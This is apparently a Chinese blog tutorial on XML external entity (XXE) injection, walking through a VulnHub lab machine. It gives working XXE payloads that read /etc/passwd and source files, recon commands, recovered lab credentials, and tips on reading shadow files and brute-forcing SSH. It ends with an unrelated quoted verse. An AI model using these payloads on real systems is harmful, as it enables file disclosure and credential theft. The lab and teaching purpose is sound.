0x00 XML介绍

• 可扩展标记语言，标准通用标记语言的子集，简称XML。
• 是一种用于标记电子文件使其具有结构性的标记语言。
• 在电子计算机中，标记指计算机所能理解的信息符号，通过此种标记，计算机之间可以处理包含各种的信息比如文章等。
• 它可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。
• 它非常适合万维网传输，提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。
• 是Internet环境中跨平台的、依赖于内容的技术，也是当今处理分布式结构信息的有效工具。
• 早在1998年，W3C就发布了XML1.0规范，使用它来简化Internet的文档信息传输。
• 在XML的解析中包含外部实体时，XXE 攻击就发生了。
• 因为解析器只管解析，而不管这个解析是不是恶意的。

0x01 XXE利用

• 一般这种漏洞在使用xml的地方(用wvs能够扫描出这些点)，看到了SYSTEM这个参数就有的利用了，然后采用burp抓包，构造payload进行xml实体注入。
• 我们这里直接用burp抓包，利用file读取文件目录，
• 如果是root权限的话，就可以进一步读取shadows文件，数据库配置文件等等，利用价值比较大，
• 普通权限的话我只能根据用户名来爆破ssh，ftp等等服务，或者查看能够读取的文件，进一步扩大渗透范围

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything[
<!ENTITY myentity SYSTEM="file:///etc/passwd"]><xxx>&myentity</xxx>myentity通过 SYSTEM参数来实体解析远程服务器中的etc/passwd文件，导致xml外部实体攻击。

0x02 环境搭建

• 下载靶机地址

  https://download.vulnhub.com/xxe/XXE.zip
  

• VMware15.5 pro 导入到虚拟机

0x03 XXE靶机实战

• 扫描主机

namp -sP 192.168.232.0/24

• 扫描开放的端口

nmap -sV -p 192.168.232.131

• 访问80端口

http://your-ip/

• 扫描目录

dirb http://192.168.232.131/

• 访问robots.txt文件

http://192.168.232.131/robo.txt
发现admin.php目录
http://192.168.232.131/xxe

• 发现需要账号和密码，想到抓包

  • 抓取登陆数据包

• 更改数据包，xxe利用
• 查看/etc/passwd文件

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>

• 查看 admin.php文件内容

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

 if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {$_SESSION['valid'] = true;$_SESSION['timeout'] = time();$_SESSION['username'] = 'administhebest';

• 获取账号密码

账号:administhebest
密码:admin@123

• 继续查看源代码

• 发现账号密码用不了，尝试flagmeout.php文件信息

先进行base32解密，再进行base64解密。

• 查看/etc/.flag.php文件

• 发现是个webs’hell,保存为1.php文件，使用ubuntu下，查看

php 1.php

摘抄

---

成人的世界，
钱就是活着的筹码；
他们并非多爱钱，
而是没有钱真的寸步难行；
睁开眼就需要钱的年代，
就怕没钱。

---